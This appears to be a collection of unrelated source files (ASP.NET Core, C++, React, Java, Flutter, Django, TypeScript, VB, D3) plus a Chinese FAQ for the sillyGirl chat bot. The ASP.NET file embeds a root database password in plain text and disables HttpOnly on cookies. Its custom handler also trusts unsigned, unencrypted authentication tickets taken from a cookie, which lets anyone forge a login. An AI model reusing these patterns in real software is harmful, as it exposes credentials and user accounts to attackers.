text
stringlengths 184
4.48M
|
---|
using System.Diagnostics;
using System.Security.Claims;
using System.Text;
using Microsoft.AspNetCore.Authentication;
using Microsoft.AspNetCore.Authentication.Cookies;
using Microsoft.AspNetCore.Identity;
using Microsoft.EntityFrameworkCore;
using webapi.authentication;
using webapi.Middleware;
namespace webapi;
public class Program
{
public static void Main(string[] args)
{
var builder = WebApplication.CreateBuilder(args);
// Add services to the container.
builder.Services.AddControllers();
// Learn more about configuring Swagger/OpenAPI at https://aka.ms/aspnetcore/swashbuckle
builder.Services.AddEndpointsApiExplorer();
builder.Services.AddSwaggerGen(e => { e.CustomSchemaIds(type => type.FullName); });
// builder.Services.AddCors(options =>
// {
// options.AddPolicy("aaa", builder =>
// {
// builder.WithOrigins("http://127.0.0.1", "http://localhost")
// .AllowAnyHeader().AllowAnyMethod().AllowCredentials();
// });
// });
// builder.Services.AddSingleton<IAuthorizationHandler, MinimumAgeHandler>();
// builder.Services.AddSingleton<IAuthorizationPolicyProvider, MinimumAgePolicyProvider>();
// This method gets called by the runtime. Use this method to add services to the container.
builder.Services.AddAuthentication(
option =>
{
option.DefaultScheme = "auth";
option.AddScheme<MyAuthenticationHandler<AuthenticationProperties>>("auth", "auth");
});
builder.Services.AddAuthentication(options =>
{
options.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
}).AddCookie(options =>
{
// options.ExpireTimeSpan = TimeSpan.FromMinutes(120); // 有效期1小时
// options.Cookie.Expiration=TimeSpan.FromMinutes(24 * 60);
options.Cookie.MaxAge = TimeSpan.FromMinutes(24 * 60); // 有效期1小时
options.Cookie.HttpOnly = false;
options.ForwardForbid = "auth";
options.ForwardChallenge = "auth";
});
builder.Services.Configure<CookiePolicyOptions>(options =>
{
// This lambda determines whether user consent for non-essential cookies is needed for a given request.
options.CheckConsentNeeded = context => true;
options.MinimumSameSitePolicy = SameSiteMode.None;
});
// builder.Services.AddSession();
builder.Services.AddDbContext<AppDbContext>(options =>
{
options.UseMySql("Server=localhost;Database=webapi;Uid=root;Pwd=13638437650.lL;",
new MySqlServerVersion("5.7.44"));
});
// builder.Services.AddScoped<MyAuthorizationMiddleware>();
var app = builder.Build();
// Configure the HTTP request pipeline.
app.UsePathBase(new PathString("/api"));
app.UseRouting();
app.UseRouting();
app.UseSwagger();
app.UseSwaggerUI();
// app.UseHttpsRedirection();
app.UseCors();
app.UseAuthentication();
app.UseAuthorization();
// app.UseMiddleware<MyAuthorizationMiddleware>();
app.MapControllers();
app.Run();
}
}
public class MyHandler : IAuthenticationHandler, IAuthenticationSignInHandler, IAuthenticationSignOutHandler
{
public AuthenticationScheme Scheme { get; private set; }
protected HttpContext Context { get; private set; }
public Task InitializeAsync(AuthenticationScheme scheme, HttpContext context)
{
Scheme = scheme;
Context = context;
return Task.CompletedTask;
}
/// <summary>
/// 认证
/// </summary>
/// <returns></returns>
public async Task<AuthenticateResult> AuthenticateAsync()
{
var cookie = Context.Request.Cookies["myCookie"];
if (string.IsNullOrEmpty(cookie))
{
return AuthenticateResult.NoResult();
}
return AuthenticateResult.Success(this.Deserialize(cookie));
}
/// <summary>
/// 没有登录 要求 登录
/// </summary>
/// <param name="properties"></param>
/// <returns></returns>
public Task ChallengeAsync(AuthenticationProperties properties)
{
Context.Response.StatusCode = 200;
Context.Response.WriteAsJsonAsync(Results.Ok("请登入"));
return Task.CompletedTask;
}
/// <summary>
/// 没权限
/// </summary>
/// <param name="properties"></param>
/// <returns></returns>
public Task ForbidAsync(AuthenticationProperties properties)
{
Context.Response.StatusCode = 200;
Context.Response.WriteAsJsonAsync(Results.Ok("没有权限"));
return Task.CompletedTask;
}
/// <summary>
/// 登录
/// </summary>
/// <param name="user"></param>
/// <param name="properties"></param>
/// <returns></returns>
public Task SignInAsync(ClaimsPrincipal user, AuthenticationProperties properties)
{
var ticket = new AuthenticationTicket(user, properties, Scheme.Name);
Context.Response.Cookies.Append("myCookie", this.Serialize(ticket));
return Task.CompletedTask;
}
/// <summary>
/// 退出
/// </summary>
/// <param name="properties"></param>
/// <returns></returns>
public Task SignOutAsync(AuthenticationProperties properties)
{
Context.Response.Cookies.Delete("myCookie");
return Task.CompletedTask;
}
private AuthenticationTicket Deserialize(string content)
{
byte[] byteTicket = System.Text.Encoding.Default.GetBytes(content);
return TicketSerializer.Default.Deserialize(byteTicket);
}
private string Serialize(AuthenticationTicket ticket)
{
//需要引入 Microsoft.AspNetCore.Authentication
byte[] byteTicket = TicketSerializer.Default.Serialize(ticket);
return Encoding.Default.GetString(byteTicket);
}
}
|
/*
* @Author: Liu Weilong
* @Date: 2021-01-20 21:42:24
* @LastEditors: Liu Weilong
* @LastEditTime: 2021-02-23 21:05:27
* @Description:
*/
#include <iostream>
#include <functional>
using namespace std;
class Item
{
public:
Item():a(9999),b(9999){}
Item(int a_t,int b_t=1000):a(a_t),b(b_t){}
bool operator==(const Item & item)
{
if(a==item.a&&b ==item.b)
return true;
return false;
}
int a,b;
};
class Node
{
public:
Item content_;
Node * pnext_;
};
typedef Node* Linklist;
template<typename T>
class LinearList
{
public:
LinearList(size_t capacity):capacity_(capacity){}
virtual bool Init() =0 ;
virtual bool Destroy() =0;
virtual bool ClearList() {length_=0;}
virtual bool Empty()const {if(length_==0)return true;return false;}
virtual size_t Length() const {return length_;}
virtual bool GetElem(size_t idx, T &e) const=0;
virtual bool LocateElem(const T & e,size_t & idx)const =0;
virtual bool PriorElem(const T & cur_e, T & pre_e)const =0;
virtual bool NextElem(const T & cur_e, T & next_e) const=0;
virtual bool InsertElem(size_t idx, const T & e) =0;
virtual bool DeleteElem(size_t idx, T & e) =0;
virtual bool Traverse(std::function<void(T&)> f) =0;
bool CheckIdx(size_t idx) const {if(idx<=length_-1)return true; return false;}
virtual ~LinearList(){}
size_t capacity_;
size_t length_;
};
|
import React from 'react'
import { Upload, Icon, Modal, message } from 'antd';
import PropTypes from 'prop-types'
import {BASE_IMG_URL} from '../../utils/constants'
import {reqImgDelete} from '../../api/index'
export default class PicturesWall extends React.Component {
static propTypes = {
imgs:PropTypes.array
}
state = {
previewVisible: false, //控制大图预览的显示隐藏
previewImage: '', //大图的url
fileList: [
// {
// uid: -1, //每个file都有自己唯一的id
// name: 'xxx.png', //图片文件名
// status: 'done', //图片状态
// url: 'https://zos.alipayobjects.com/rmsportal/jkjgkEfvpUPVyRjUImniVslZfWPnJuuZ.png',//图片地址
// }
],
};
constructor (props){
super(props)
let fileList = []
const {imgs} = this.props
if(imgs && imgs.length > 0){
fileList = imgs.map((img, index) => (
{
uid: -index, //每个file都有自己唯一的id
name: img, //图片文件名
status: 'done', //图片状态
url: BASE_IMG_URL + img//图片地址
}
))
}
//初始化显示
this.state = {
previewVisible: false, //控制大图预览的显示隐藏
previewImage: '', //大图的url
fileList
}
}
//获取上传图片名称的数组
getImgs = () => {
return this.state.fileList.map(file => file.name)
}
handleCancel = () => this.setState({ previewVisible: false })
handlePreview = (file) => {
//显示指定file对应的大图
this.setState({
previewImage: file.url || file.thumbUrl,
previewVisible: true,
});
}
/*
file:当前操作的图片文件(上传/删除)
fileList:所有已上传图片文件对象的数组
*/
handleChange =async ({ file, fileList }) =>{
console.log('fileList', fileList)
//一旦上传成功,将当前上传的file的信息修正(name,url)
if(file.status === 'done'){
const result = file.response //{status:0.data:{name:'',url:''}}
if(result.status === 0){
message.success('图片上传成功')
const {name, url} = result.data
file = fileList[fileList.length-1]
file.name = name
file.url = url
}else{
message.error('图片上传失败')
}
}else if(file.status === 'removed'){//删除图片
const result = await reqImgDelete(file.name)
if(result.status === 0){
message.success('图片删除成功')
}else{
message.error('图片删除失败')
}
}
this.setState({ fileList })
}
render() {
const { previewVisible, previewImage, fileList } = this.state;
const uploadButton = (
<div>
<Icon type="plus" />
<div className="ant-upload-text">Upload</div>
</div>
);
return (
<div>
<Upload
action="/manage/img/upload" //图片上传地址
listType="picture-card" //图片页面显示样式
accept="image/*" //只接收图片格式
name="image" //请求参数名
fileList={fileList} //所有已上传图片文件对象的数组
onPreview={this.handlePreview}
onChange={this.handleChange}
>
{fileList.length >= 3 ? null : uploadButton}
</Upload>
<Modal visible={previewVisible} footer={null} onCancel={this.handleCancel}>
<img alt="example" style={{ width: '100%' }} src={previewImage} />
</Modal>
</div>
);
}
}
|
#pragma once
#include "System/Collections/Generic/List_1.hpp"
#include "CJDLogger.h"
// template<typename ListTy>
// class ListIterator {
// public:
// using iterator_category = random_access_iterator_tag;
// using difference_type = std::ptrdiff_t;
// using value_type = ListTy::value_type;
// using pointer = ListTy::pointer;
// using reference = ListTy::reference;
// ListIterator(pointer ptr_) : ptr(ptr_) {}
// reference operator*() const {
// return *ptr;
// }
// pointer operator->() {
// return ptr;
// }
// ListIterator& operator++() {
// ptr++;
// return *this;
// }
// ListIterator operator++(int) {
// ListIterator tmp = *this;
// (*this)++;
// return tmp;
// }
// bool operator==(const Iterator& other) const {
// return ptr == other.ptr;
// };
// bool operator!=(const Iterator& other) const {
// return ptr != other.ptr;
// };
// private:
// pointer ptr;
// }
template <typename Ty> class VList {
private:
using InnerTy = System::Collections::Generic::List_1<Ty>;
InnerTy* inner;
public:
using value_type = Ty;
using pointer = Ty*;
using const_pointer = Ty const*;
using reference = Ty&;
// Maybe I'll use my own iterator type if needed
using iterator = pointer;
using const_iterator = const_pointer;
public:
constexpr VList() : inner(InnerTy::New_ctor()){};
constexpr VList(int size) : inner(InnerTy::New_ctor(size)){};
constexpr VList(InnerTy* list) : inner(list){};
constexpr InnerTy* operator*() const {
return inner;
}
constexpr operator InnerTy*() const {
return inner;
}
constexpr Ty& operator[](const size_t pos) const {
return inner->items.get(pos);
}
[[nodiscard]] constexpr int size() const {
return inner->size;
}
constexpr auto resize(const size_t cap) {
return inner->EnsureCapacity(cap);
}
constexpr void trim() const {
return inner->TrimExcess();
}
constexpr void insert_at(int index, Ty const& val) {
// TODO: C++ impl
return inner->Insert(index, val);
}
constexpr void push_back(Ty const& val) {
// TODO: C++ impl
return inner->Add(val);
}
iterator constexpr begin() {
return inner->items.begin();
}
iterator constexpr end() {
return inner->items.begin() + size();
}
[[nodiscard]] constexpr InnerTy* getInner() const {
return inner;
}
[[nodiscard]] constexpr void* convert() const noexcept {
return inner;
}
constexpr operator std::span<Ty>() {
return std::span<Ty>(begin(), size());
}
constexpr std::span<Ty> toSpan() {
return std::span<Ty>(begin(), size());
}
};
// If it's not just a pointer then bad things will happen
static_assert(sizeof(VList<int>) == 0x8);
template <typename Ty> struct il2cpp_utils::il2cpp_type_check::il2cpp_no_arg_class<VList<Ty>> {
static inline Il2CppClass* get() {
return classof(System::Collections::Generic::List_1<Ty>*);
}
};
static_assert(il2cpp_utils::has_il2cpp_conversion<VList<int>>);
template <class T> struct ::il2cpp_utils::il2cpp_type_check::need_box<VList<T>> {
constexpr static bool value = false;
};
|
package com.tirmizee.entities;
import java.io.Serializable;
import java.util.Date;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Lob;
import javax.persistence.NamedQuery;
import javax.persistence.Table;
import javax.persistence.Temporal;
import javax.persistence.TemporalType;
import lombok.Data;
/**
* The persistent class for the "PROFILE" database table.
*
*/
@Data
@Entity
@Table(name="\"PROFILE\"")
@NamedQuery(name="Profile.findAll", query="SELECT p FROM Profile p")
public class Profile implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@Column(name="PROFILE_ID")
private long profileId;
@Column(name="BRANCH_CODE")
private String branchCode;
@Column(name="CITIZEN_ID")
private String citizenId;
@Temporal(TemporalType.DATE)
@Column(name="CREATE_DATE")
private Date createDate;
private String email;
@Column(name="FIRST_NAME")
private String firstName;
@Column(name="LAST_NAME")
private String lastName;
@Lob
@Column(name="PROFILE_BYTE")
private byte[] profileByte;
@Column(name="PROFILE_IMAGE")
private String profileImage;
@Column(name="SUB_DISTRICT_CODE")
private String subDistrictCode;
private String tel;
@Temporal(TemporalType.DATE)
@Column(name="UPDATE_DATE")
private Date updateDate;
}
|
---
title: "常见问题Q&A"
description: "仅分享新版傻妞使用记录,如有不对请指正"
keywords: "傻妞"
date: 2022-12-08T16:40:59+08:00
lastmod: 2022-12-09 00:54:32+08:00
categories:
- 傻妞专题
tags:
- 傻妞
url: sillygirl/Q&A.html
toc: true
---
> 以下问题是我看到的常见的问题,如果没有你遇到的问题,或者你觉得我的回答不对,忍着
## 我在哪里可以找到傻妞官方客服?
- 没有客服,滚
<details>
<summary>但是有其他联系方式</summary>
<pre>
- TG频道 <a href="https://t.me/kczz2021">傻妞元宇宙</a>
- TG群组 <a href="https://t.me/trialerr">好好学习群</a>
- QQ群组 <a href="https://jq.qq.com/?_wv=1027&k=rtL5kSVO">傻妞技术交流群</a> PS:近乎死群
- 微信群组 PS:早就死群了
- 项目地址 <a href="https://github.com/cdle/sillyGirl">https://github.com/cdle/sillyGirl</a>
PS:没什么用,只能下载最新版本
</pre>
</details>
<a name="section1"></a>
## 如何正确的提问?
- 请先尝试理解本系列文章下的所有内容,通常情况下可以解决大部分问题
- 首先作者or群友or网友不是你的免费保姆,提问前请放平心态
<details>
<summary>提问请携带以下内容</summary>
<pre>
- 准确描述问题
- 你的尝试记录
- 交互界面对话截图
- 傻妞后台日志截图
- 傻妞web面板F12截图
- 必要时候提供服务器连接方式给作者进行诊断
</pre>
</details>
## 什么是交互界面
<details>
<summary>在傻妞生态系统中,交互界面特指与傻妞的交互窗口,包括:</summary>
<pre>
- ssh终端交互
- 各平台机器人聊天窗口
- web面板右下角交互界面
</pre>
</details>
## 是否有arm32位版
没有,下一个
## 为什么我一启动就提示被 **killed/杀死** 呢
<details>
<summary>那是因为你用同样的方式启动了两次,第二次就会被杀死</summary>
<pre>
- 解决方法也很简单,杀死以前的傻妞,重新启动就好了,至于怎么操作,取决于你是什么样的启动方式,
参考 [停止运行](getToThrow.html#停止运行)
- 或者换Docker版
</pre>
</details>
## 为什么我发命令傻妞没有响应,是不是被玩坏了
- 是的呢,建议卸载
<details>
<summary>或者用排除法,大部分问题都可以用此排除法解决</summary>
<pre>
1. 首先你要知道傻妞是否有你发送的命令,去已安装插件查看
2. 你应该检查你是否对接各平台正常,也就是收发消息是否正常
3. 如果傻妞本体版本与插件版本相差过大也会出现这种情况
4. 如果是ssh终端交互模式,确定你是不是在交互模式启动的,即 -t
</pre>
</details>
## 为什么在tg平台别人发命令没有响应
- 先发送 listen

- 不行查看上一条和下一条
## 为什么我QQ发消息没反应啊
<details>
<summary>点击查看答案</summary>
<pre>
- 某些命令仅限管理员使用
- 某些插件设置了仅在某些平台生效
- 尝试
- 或者查看上两条
</pre>
</details>
## 为什么QQ群消息无法撤回啊
<details>
<summary>点击查看</summary>
<pre>
- 需要傻妞控制的QQ机器人有撤回权限,设置为群管理即可
- 插件需要有撤回机制
</pre>
</details>
## 我忘了我的web帐号密码怎么办
<details>
<summary>建议删库跑路</summary>
<pre>
#设置账号
set silly name xxxx
#设置密码
set silly password xxxx
#查看账号
get silly name
#查看密码
get silly password
</pre>
</details>
## 为什么你都是用Docker部署
因为方便,懂得都懂
## 微信服务号怎么xxxx
管理员在服务号发送 `wxsv init`
## 为什么使用oicq登录提示当前QQ版本过低?
那是QQ的事,与傻妞无关,建议 [安装go-cqhttp](install-go-cqhttp.html)
## 旧版傻妞是否可以直接发送命令升级到最新版?

建议升级前备份数据库
## 为什么我登录QQ框架/微信框架提示被风控/冻结/封号
腾讯的问题,与傻妞无关。建议换号或者放弃
## 傻妞的相关文件在哪里
傻妞的相关文件分别在两个地方,一个是本体所在的目录 `/use/local/sillyGirl`,一个是数据库所在目录 `/etc/sillyGirl`,对于我的镜像来说都在 `"$(pwd)"`映射目录下能找到
先来看本体所在目录
- /use/local/sillyGirl
- sillyGirl #傻妞本体
- conf/ #旧版遗留下来的配置文件目录,已弃用
- config.yaml
然后是数据库所在目录
- /etc/sillyGirl
- scripts/ #旧版存放脚本的目录,已弃用
- public/ #旧版存放插件和插件配置文件的目录,已弃用
- download/ #未知作用
- list.json #未知作用
- sillyGirl.cache #傻妞的数据库
## 为什么有些插件别人的傻妞正常但是我不能用?
<details>
<summary>点击查看</summary>
<pre>
- 升级插件
- 部分插件需要申请key,去插件注释查看
</pre>
</details>
## 网页web面板打不开/页面被喵咪劫走了

## 这里没有我遇到的问题?
<details>
<summary>点击显示答案</summary>
<pre>
如果这里没有你遇到的问题,那么群记录可能有,你可以翻一翻记录,群里提问前清闲查看<a href="#section1">如何正确的提问?</a>
或者放弃使用傻妞,推荐使用奥特曼
</pre>
</details>
|
import React, { useEffect } from 'react';
import Header from './Header/Header.js';
import Home from './Home/Home.js';
import { BrowserRouter, Route, Routes } from "react-router-dom";
import Checkout from './Checkout/Checkout.js';
import Login from './Login/Login.js';
import { auth } from './firebase.js';
import { useStateValue } from './StateProvider.js';
import Payment from './Payment/Payment.js';
import {loadStripe} from '@stripe/stripe-js'
import {Elements} from '@stripe/react-stripe-js';
import Orders from './Orders/Orders.js';
const promise = loadStripe("pk_test_51LmNS6SJNA8RfZhcx9E34KZfZhCzuLgX84aqxX8nwewVquNnBGMJh1dngb8bx0RpRscu3lWobUJOnhTONHFsoZn100oQ8IfCYS");
function App() {
const [{basket}, dispatch] = useStateValue();
useEffect(() => {
// will only loads once when app component loads...
auth.onAuthStateChanged(authUser => {
console.log('THE USER IS >>>>', authUser);
if(authUser) {
//the user just logged in / the user was logged in
dispatch({
type: 'SET_USER',
user: authUser
})
} else {
//the user is logged out
dispatch({
type: 'SET_USER',
user: null
})
}
})
}, [])
return (
<>
<BrowserRouter>
<div className="app">
<Routes>
<Route path='/orders' element={<><Header/><Orders/></>} />
<Route path='/login' element={<Login/>} />
<Route path='/checkout' element={<><Header/><Checkout/></>} />
<Route path='/payment' element={<><Header/><Elements stripe={promise}><Payment/></Elements></>}/>
<Route path='/' element={<><Header/><Home/></>} />
</Routes>
</div>
</BrowserRouter>
</>
);
}
export default App; //3.26
|
import 'package:flutter/material.dart';
import 'package:flutter/services.dart';
import 'package:dev_fest_2023/ui/home_view.dart';
void main() async {
WidgetsFlutterBinding.ensureInitialized();
await SystemChrome.setPreferredOrientations([DeviceOrientation.portraitUp]);
runApp(const MyApp());
}
class MyApp extends StatelessWidget {
const MyApp({super.key});
@override
Widget build(BuildContext context) => MaterialApp(
title: 'devFest LDN 2023',
theme: ThemeData.light().copyWith(
useMaterial3: true,
colorScheme: ColorScheme.fromSeed(
seedColor: Colors.green,
brightness: Brightness.light,
),
),
darkTheme: ThemeData.dark().copyWith(
useMaterial3: true,
colorScheme: ColorScheme.fromSeed(
seedColor: Colors.red,
brightness: Brightness.dark,
),
),
home: const HomeView(),
);
}
|
from rest_framework import generics, mixins, status
from rest_framework.generics import GenericAPIView
from rest_framework.response import Response
from .models import House, HouseImage
from .permissions import IsStaffOrReadOnly
from .serializers import HousesSerializer, HouseImagesSerializer
class HousesAPIList(generics.ListCreateAPIView):
queryset = House.objects.all()
serializer_class = HousesSerializer
permission_classes = (IsStaffOrReadOnly, )
class HousesAPIDetailView(generics.RetrieveUpdateDestroyAPIView):
queryset = House.objects.all()
serializer_class = HousesSerializer
permission_classes = (IsStaffOrReadOnly,)
class HouseImagesAPIDetailView(mixins.RetrieveModelMixin, mixins.CreateModelMixin, GenericAPIView):
queryset = HouseImage.objects.all()
serializer_class = HouseImagesSerializer
permission_classes = (IsStaffOrReadOnly,)
def get(self, request, *args, **kwargs):
images_qs = HouseImage.objects.filter(house=kwargs.get("fk"))
images_list = []
for image in images_qs:
images_dict = {}
images_dict["id"] = image.id
images_dict["image"] = image.image
images_dict["house"] = image.house
images_list.append(images_dict)
return Response(HouseImagesSerializer(images_list, many=True).data)
def post(self, request, *args, **kwargs):
self.create(request, *args, **kwargs)
return Response(status=status.HTTP_201_CREATED)
class HouseImagesAPIDeleteView(mixins.DestroyModelMixin, mixins.UpdateModelMixin, GenericAPIView):
queryset = HouseImage.objects.all()
serializer_class = HouseImagesSerializer
permission_classes = (IsStaffOrReadOnly,)
def get(self, request, *args, **kwargs):
images_qs = HouseImage.objects.filter(house=kwargs.get("fk"), id=kwargs.get("pk"))
images_list = []
for image in images_qs:
images_dict = {}
images_dict["id"] = image.id
images_dict["image"] = image.image
images_dict["house"] = image.house
images_list.append(images_dict)
return Response(HouseImagesSerializer(images_list, many=True).data)
def delete(self, request, *args, **kwargs):
image = self.get_object()
image.delete()
return Response(status=status.HTTP_204_NO_CONTENT)
|
import BaseEdge from "clava-flow/graph/BaseEdge";
import BaseGraph from "clava-flow/graph/BaseGraph";
import BaseNode from "clava-flow/graph/BaseNode";
abstract class DotFormatter {
static defaultGraphName: string = "clava_graph";
abstract formatNode(node: BaseNode.Class): DotFormatter.Node;
abstract formatEdge(edge: BaseEdge.Class): DotFormatter.Edge;
static #sanitizeDotLabel(label: string) {
return label.replaceAll('"', '\\"');
}
#formatAttrs(attrs: [string, string][]): string {
return attrs
.map(([key, value]) => `${key}="${DotFormatter.#sanitizeDotLabel(value)}"`)
.join(" ");
}
format(graph: BaseGraph.Class, label?: string): string {
const graphName = label ?? DotFormatter.defaultGraphName;
const nodes = graph.nodes
.map((node) => {
const { id, attrs } = this.formatNode(node);
const formattedAttrs = this.#formatAttrs(Object.entries(attrs));
return `"${id}" [${formattedAttrs}];\n`;
})
.join("");
const edges = graph.edges
.map((edge) => {
const { source, target, attrs } = this.formatEdge(edge);
const formattedAttrs = this.#formatAttrs(Object.entries(attrs));
return `"${source}" -> "${target}" [${formattedAttrs}];\n`;
})
.join("");
return `digraph ${graphName} {\n${nodes}${edges}}\n`;
}
}
namespace DotFormatter {
export interface Attrs {
label: string;
shape: string;
[key: string]: string;
}
export interface Node {
id: string;
attrs: {
label: string;
shape: string;
[key: string]: string;
};
}
export interface Edge {
source: string;
target: string;
attrs: {
[key: string]: string;
};
}
}
export default DotFormatter;
|
Class MainWindow
''' <summary>
''' Initiate the reactor shutdown using a Switch object
''' Record details of shutdown status in a TextBlock - recording all exceptions thrown
''' </summary>
''' <param name="sender"></param>
''' <param name="e"></param>
''' <remarks></remarks>
Private Sub ShutDownButton_Click(ByVal sender As Object, ByVal e As RoutedEventArgs)
' TODO: - Add exception handling
Me.textBlock1.Text = "Initiating test sequence: " & DateTime.Now.ToLongTimeString()
Dim sd As New SwitchDevices.Switch()
' Step 1 - disconnect from the Power Generator
If sd.DisconnectPowerGenerator() = SwitchDevices.SuccessFailureResult.Fail Then
Me.textBlock1.Text &= vbNewLine & "Step 1: Failed to disconnect power generation system"
Else
Me.textBlock1.Text &= vbNewLine & "Step 1: Successfully disconnected power generation system"
End If
' Step 2 - Verify the status of the Primary Coolant System
Select Case sd.VerifyPrimaryCoolantSystem()
Case SwitchDevices.CoolantSystemStatus.OK
Me.textBlock1.Text &= vbNewLine & "Step 2: Primary coolant system OK"
Case SwitchDevices.CoolantSystemStatus.Check
Me.textBlock1.Text &= vbNewLine & "Step 2: Primary coolant system requires manual check"
Case SwitchDevices.CoolantSystemStatus.Fail
Me.textBlock1.Text &= vbNewLine & "Step 2: Problem reported with primary coolant system"
End Select
' Step 3 - Verify the status of the Backup Coolant System
Select sd.VerifyBackupCoolantSystem()
Case SwitchDevices.CoolantSystemStatus.OK
Me.textBlock1.Text &= vbNewLine & "Step 3: Backup coolant system OK"
Case SwitchDevices.CoolantSystemStatus.Check
Me.textBlock1.Text &= vbNewLine & "Step 3: Backup coolant system requires manual check"
Case SwitchDevices.CoolantSystemStatus.Fail
Me.textBlock1.Text &= vbNewLine & "Step 3: Backup reported with primary coolant system"
End Select
' Step 4 - Record the core temperature prior to shutting down the reactor
Me.textBlock1.Text &= vbNewLine & "Step 4: Core temperature before shutdown: " & sd.GetCoreTemperature()
' Step 5 - Insert the control rods into the reactor
If sd.InsertRodCluster() = SwitchDevices.SuccessFailureResult.Success Then
Me.textBlock1.Text &= vbNewLine & "Step 5: Control rods successfully inserted"
Else
Me.textBlock1.Text &= vbNewLine & "Step 5: Control rod insertion failed"
End If
' Step 6 - Record the core temperature after shutting down the reactor
Me.textBlock1.Text &= vbNewLine & "Step 6: Core temperature after shutdown: " & sd.GetCoreTemperature()
' Step 7 - Record the core radiation levels after shutting down the reactor
Me.textBlock1.Text &= vbNewLine & "Step 7: Core radiation level after shutdown: " & sd.GetRadiationLevel()
' Step 8 - Broadcast "Shutdown Complete" message
sd.SignalShutdownComplete()
Me.textBlock1.Text &= vbNewLine & "Step 8: Broadcasting shutdown complete message"
Me.textBlock1.Text &= vbNewLine & "Test sequence complete: " & DateTime.Now.ToLongTimeString()
End Sub
End Class
|
import React from 'react';
import {Link} from "react-router-dom";
import styled from "styled-components";
import {useDispatch, useSelector} from "react-redux";
import {addListImage, selectNavbar} from "../../redux/slice/NavbarReducer";
const Product = styled.div`
position: relative;
top: -350px;
left: 0;
width: 100vw;
height: 300px;
background-color: black;
transform: translateY(${p => p.show ? '700' : '350'}px);
transition: transform 0.2s ease-out;
img {
position: absolute;
top: 0;
left: 1%;
width: 24%;
height: 95%;
object-fit: cover;
}
ul {
padding-left: 30%;
color: white;
> span {
display: block;
margin-top: 0.5rem;
}
li {
line-height: 30px;
width: 30%;
> a {
letter-spacing: 0.1rem;
}
}
}
`
function List() {
const state = useSelector(selectNavbar)
const dispatch = useDispatch()
const {listImage, showList} = state
const changeListImage = (props) => {
dispatch(addListImage(props))
}
return (
<Product show={showList}>
<img src={listImage} alt=""/>
<ul>
<span>所有產品</span>
<li onMouseEnter={() => changeListImage('phone')}><Link to='/phone1'>phone(1)</Link></li>
<li onMouseEnter={() => changeListImage('ears')}><Link to='/ears'>ears(1)</Link></li>
<span>所有配件</span>
<li onMouseEnter={() => changeListImage('case')}><Link to='/phoneCase'>Phone(1) 手機殼</Link></li></ul>
</Product>
);
}
export default List;
|
class GeoMap {
/**
* Class constructor with basic configuration
* @param {Object}
* @param {Array}
*/
constructor(_config, _geoData, _data) {
this.config = {
parentElement: _config.parentElement,
containerWidth: _config.containerWidth || 1800,
containerHeight: _config.containerHeight || 800,
margin: _config.margin || { top: 0, right: 0, bottom: 0, left: 0 },
tooltipPadding: 10,
};
this.geoData = _geoData;
this.data = _data;
this.initVis();
}
/**
* We initialize scales/axes and append static elements, such as axis titles.
*/
initVis() {
let vis = this;
// Calculate inner chart size. Margin specifies the space around the actual chart.
vis.width =
vis.config.containerWidth -
vis.config.margin.left -
vis.config.margin.right;
vis.height =
vis.config.containerHeight -
vis.config.margin.top -
vis.config.margin.bottom;
// Define size of SVG drawing area
vis.svg = d3
.select(vis.config.parentElement)
.append('svg')
.attr('width', vis.config.containerWidth)
.attr('height', vis.config.containerHeight)
.attr('display', 'block')
.style("margin", "auto");
// Append group element that will contain our actual chart
// and position it according to the given margin config
vis.chart = vis.svg
.append('g')
.attr(
'transform',
`translate(${vis.config.margin.left},${vis.config.margin.top})`
);
// Defines the scale and translate of the projection so that the geometry fits within the SVG area
// We crop Antartica because it takes up a lot of space that is not needed for our data
vis.projection = d3
.geoCylindricalStereographic()
.rotate([-10, 0])
.center([0, 25]) // set centre to further North
.scale([vis.width / (2 * Math.PI)]) // scale to fit size of svg group
.translate([vis.width / 2, vis.height / 2]); // ensure centered wit hin svg group
vis.geoPath = d3.geoPath().projection(vis.projection);
vis.updateVis();
}
updateVis() {
let vis = this;
vis.data.forEach((d) => {
d.showLabel = d.name == 'Chichen Itza' || d.name == 'Great Wall';
});
vis.renderVis();
}
renderVis() {
let vis = this;
// Append world map
const geoPath = vis.chart
.selectAll('.geo-path')
.data(
topojson.feature(vis.geoData, vis.geoData.objects.countries).features
)
.join('path')
.attr('class', 'geo-path')
.attr('d', vis.geoPath);
// Append country borders
const geoBoundaryPath = vis.chart
.selectAll('.geo-boundary-path')
.data([topojson.mesh(vis.geoData, vis.geoData.objects.countries)])
.join('path')
.attr('class', 'geo-boundary-path')
.attr('d', vis.geoPath);
// Append symbols
const geoSymbols = vis.chart
.selectAll('.geo-symbol')
.data(vis.data)
.join('circle')
.attr('class', (d) => {
console.log(d);
if (d.complete == 'true') {
return 'geo-symbol-done';
} else if (d.time.includes("Planned")){
return 'geo-symbol-progress';
}else if (d.danger == 'true'){
return 'geo-symbol-danger';
}else {
return 'geo-symbol-planned';
}
})
.attr('r', 3.5)
.attr('cx', (d) => vis.projection([d.lon, d.lat])[0])
.attr('cy', (d) => vis.projection([d.lon, d.lat])[1]);
// Tooltip event listeners
geoSymbols
.on('mousemove', (event, d) => {
d3
.select('#tooltip')
.style('display', 'block')
.style('left', `${event.pageX + vis.config.tooltipPadding}px`)
.style('top', `${event.pageY + vis.config.tooltipPadding}px`).html(`
<div class="tooltip-title">${d.name}</div>
<div>${d.country} | visited: ${d.time}</div>
`);
})
.on('mouseleave', () => {
d3.select('#tooltip').style('display', 'none');
});
// Append text labels to show the titles of all sights
// const geoSymbolLabels = vis.chart.selectAll('.geo-label')
// .data(vis.data)
// .join('text')
// .attr('class', 'geo-label')
// .attr('dy', '0em')
// .attr('text-anchor', 'middle')
// .attr('x', d => vis.projection([d.lon,d.lat])[0]+4)
// .attr('y', d => (vis.projection([d.lon,d.lat])[1]))
// // .style('font-size', '3px')
// .text(d => d.name);
// Append text labels with the number of visitors for two sights (to be used as a legend)
// const geoSymbolVisitorLabels = vis.chart
// .selectAll('.geo-visitor-label')
// .data(vis.data)
// .join('text')
// .filter((d) => d.showLabel)
// .attr('class', 'geo-visitor-label')
// .attr('dy', '.35em')
// .attr('text-anchor', 'middle')
// .attr('x', (d) => vis.projection([d.lon, d.lat])[0])
// .attr(
// 'y',
// (d) =>
// vis.projection([d.lon, d.lat])[1] + vis.symbolScale(d.visitors) + 12
// )
// .text((d) => `${d.visitors}`);
}
}
|
import { useState, useEffect } from "react";
import { useSession } from "next-auth/react";
import styles from "./table.module.css";
